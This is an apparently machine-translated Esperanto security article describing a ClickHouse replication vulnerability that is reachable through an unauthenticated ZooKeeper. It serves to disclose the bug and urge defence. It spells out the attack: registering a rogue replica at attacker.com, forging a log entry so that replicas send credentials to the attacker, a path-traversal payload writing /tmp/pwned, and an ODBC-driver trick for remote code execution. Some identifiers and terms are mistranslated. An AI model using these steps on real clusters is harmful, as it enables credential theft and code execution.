Kial vi bezonas teni zookaĝojn fermitaj?

Kial vi bezonas teni zookaĝojn fermitaj?

Ĉi tiu artikolo rakontos pri tre specifa vundebleco en la protokolo de reproduktado de ClickHouse, kaj ankaŭ montros kiel la ataksurfaco povas esti vastigita.

ClickHouse estas datumbazo por stoki grandajn volumojn da datumoj, plej ofte uzante pli ol unu kopion. Clustering kaj reproduktado en ClickHouse estas konstruitaj supre Apache ZooKeeper (ZK) kaj postulas skribrajtojn.

La defaŭlta instalado de ZK ne postulas aŭtentikigon, do miloj da ZK-serviloj uzataj por agordi Kafka, Hadoop, ClickHouse estas publike haveblaj.

Por redukti vian ataksurfacon, vi ĉiam devas agordi aŭtentikigon kaj rajtigon kiam vi instalas ZooKeeper

Kompreneble ekzistas kelkaj 0tagaj Java deseriigoj, sed imagu, ke atakanto povus legi kaj skribi al ZooKeeper, uzata por la reproduktado de ClickHouse.

Kiam agordita en clusterreĝimo, ClickHouse subtenas distribuitajn demandojn DDL, trapasante ZK - por ili nodoj estas kreitaj en la folio /clickhouse/task_queue/ddl.

Ekzemple, vi kreas nodon /clickhouse/task_queue/ddl/query-0001 kun enhavo:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

kaj post tio, la testa tablo estos forigita sur la grapolserviloj host1 kaj host2. DDL ankaŭ subtenas ruli CREATE/ALTER/DROP-demandojn.

Sonas timiga? Sed kie atakanto povas akiri serviladresojn?

Reproduktado de ClickHouse funkcias je la nivelo de individuaj tabeloj, tiel ke kiam tabelo estas kreita en ZK, servilo estas specifita, kiu respondecos pri interŝanĝado de metadatenoj kun kopioj. Ekzemple, dum plenumado de peto (ZK devas esti agordita, chXX - nomo de la kopio, foobar - nomo de tabelo):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

nodoj estos kreitaj kolumnoj и metadatenoj.

Enhavo /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Ĉu eblas kunfandi datumojn de ĉi tiu aro? Jes, se la reprodukta haveno (TCP/9009) sur servilo chXX-address la fajroŝirmilo ne estos fermita kaj aŭtentigo por reproduktado ne estos agordita. Kiel preteriri aŭtentikigon?

Atakanto povas krei novan kopion en ZK simple kopiante la enhavon de /clickhouse/tables/01-01/foobar/replicas/chXX kaj ŝanĝante la signifon host.

Enhavo /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Tiam vi devas diri al la aliaj kopioj, ke estas nova bloko da datumoj sur la servilo de la atakanto, kiun ili devas preni - nodo estas kreita en ZK. /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX monotone kreskanta nombrilo, kiu devus esti pli granda ol la lasta en la evento-protokolo):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

kie fonto_repliko - la nomo de la kopio de la atakanto kreita en la antaŭa paŝo, bloko_id - identigilo de datumbloko, akiri - komando "akiri blokon" (kaj jen komandoj por aliaj operacioj).

Poste, ĉiu kopio legas novan okazaĵon en la protokolo kaj iras al servilo kontrolita de la atakanto por ricevi blokon de datumoj (la reprodukta protokolo estas binara, funkcianta super HTTP). Servilo attacker.com ricevos petojn:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

kie XXX estas la aŭtentikigdatenoj por reproduktado. En iuj kazoj, ĉi tio povas esti konto kun aliro al la datumbazo per la ĉefa ClickHouse-protokolo kaj la HTTP-protokolo. Kiel vi vidis, la ataksurfaco fariĝas kritike granda ĉar ZooKeeper, uzata por reproduktado, restis sen aŭtentikigo agordita.

Ni rigardu la funkcion akiri blokon de datumoj de kopio, ĝi estas skribita kun plena fido, ke ĉiuj kopioj estas sub taŭga kontrolo kaj estas fido inter ili.

Kial vi bezonas teni zookaĝojn fermitaj?
replika pretigkodo

La funkcio legas liston de dosieroj, poste iliajn nomojn, grandecojn, enhavojn, kaj poste skribas ilin al la dosiersistemo. Indas aparte priskribi kiel datumoj estas konservitaj en la dosiersistemo.

Estas pluraj subdosierujoj en /var/lib/clickhouse (defaŭlta stoka dosierujo de la agorda dosiero):

flagoj - dosierujo por registrado flagoj, uzata en reakiro post perdo de datumoj;
tmp — dosierujo por konservi provizorajn dosierojn;
uzanto_dosieroj — operacioj kun dosieroj en petoj estas limigitaj al ĉi tiu dosierujo (INTO OUTFILE kaj aliaj);
metadatenoj — sql-dosieroj kun tabelaj priskriboj;
antaŭprocesitaj_agordoj - prilaboritaj derivitaj agordaj dosieroj de /etc/clickhouse-server;
datumoj - la efektiva dosierujo kun la datumoj mem, ĉi-kaze por ĉiu datumbazo estas simple kreita ĉi tie aparta subdosierujo (ekzemple /var/lib/clickhouse/data/default).

Por ĉiu tabelo, subdosierujo estas kreita en la datumbaza dosierujo. Ĉiu kolumno estas aparta dosiero depende de motorformato. Ekzemple por tablo foobarkreitaj de atakanto, la sekvaj dosieroj estos kreitaj:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

La kopio atendas ricevi dosierojn kun la samaj nomoj dum prilaborado de bloko de datumoj kaj neniel validas ilin.

La atentema leganto verŝajne jam aŭdis pri la nesekura kunmetiĝo de dosiernomo en funkcio WriteBufferFromFile. Jes, ĉi tio permesas al atakanto skribi arbitran enhavon al iu ajn dosiero sur la FS kun uzantrajtoj clickhouse. Por fari tion, la kopio kontrolita de la atakanto devas resendi la sekvan respondon al la peto (liniorompoj estis aldonitaj por facileco de kompreno):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

kaj post kunligado ../../../../../../../../../tmp/pwned la dosiero estos skribita /tmp/pwned kun enhavo saluton de zookeeper.

Estas pluraj ebloj por igi dosieron skribkapablon en fora koda ekzekuto (RCE).

Eksteraj vortaroj en RCE

En pli malnovaj versioj, la dosierujo kun agordoj de ClickHouse estis konservita kun uzantrajtoj klakdomo defaŭlte. Agordaj dosieroj estas XML-dosieroj, kiujn la servo legas ĉe ekfunkciigo kaj poste konservas en kaŝmemoron /var/lib/clickhouse/preprocessed_configs. Kiam okazas ŝanĝoj, ili estas relegitaj. Se vi havas aliron al /etc/clickhouse-server atakanto povas krei sian propran ekstera vortaro rulebla tipo kaj poste ekzekuti arbitran kodon. Nunaj versioj de ClickHouse ne disponigas rajtojn defaŭlte, sed se la servilo estis iom post iom ĝisdatigita, tiaj rajtoj povus resti. Se vi subtenas ClickHouse-grupon, kontrolu la rajtojn al la agorda dosierujo, ĝi devas aparteni al la uzanto root.

ODBC al RCE

Instalante pakaĵon, uzanto estas kreita clickhouse, sed ĝia hejma dosierujo ne estas kreita /nonexistent. Tamen, kiam oni uzas eksterajn vortarojn, aŭ pro aliaj kialoj, administrantoj kreas dosierujon /nonexistent kaj donu al la uzanto clickhouse aliro por skribi al ĝi (SSZB! ĉ. tradukisto).

ClickHouse subtenas ODBC kaj povas konektiĝi al aliaj datumbazoj. En ODBC, vi povas specifi la vojon al la datumbaza ŝoforbiblioteko (.so). Pli malnovaj versioj de ClickHouse permesis al vi fari tion rekte en la petotraktilo, sed nun pli strikta kontrolo de la konektoĉeno estis aldonita al odbc-bridge, do ne plu eblas specifi la ŝoforan vojon el la peto. Sed ĉu atakanto povas skribi al la hejma dosierujo uzante la vundeblecon priskribitan supre?

Ni kreu dosieron ~/.odbc.ini kun enhavo tia:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

tiam dum ekfunkciigo SELECT * FROM odbc('DSN=lalala', 'test', 'test'); la biblioteko estos ŝargita test.so kaj ricevis RCE (dankon buglloc por la pinto).

Ĉi tiuj kaj aliaj vundeblecoj estis riparitaj en ClickHouse-versio 19.14.3. Prizorgu viajn ClickHouse kaj ZooKeepers!

fonto: www.habr.com

Aldoni komenton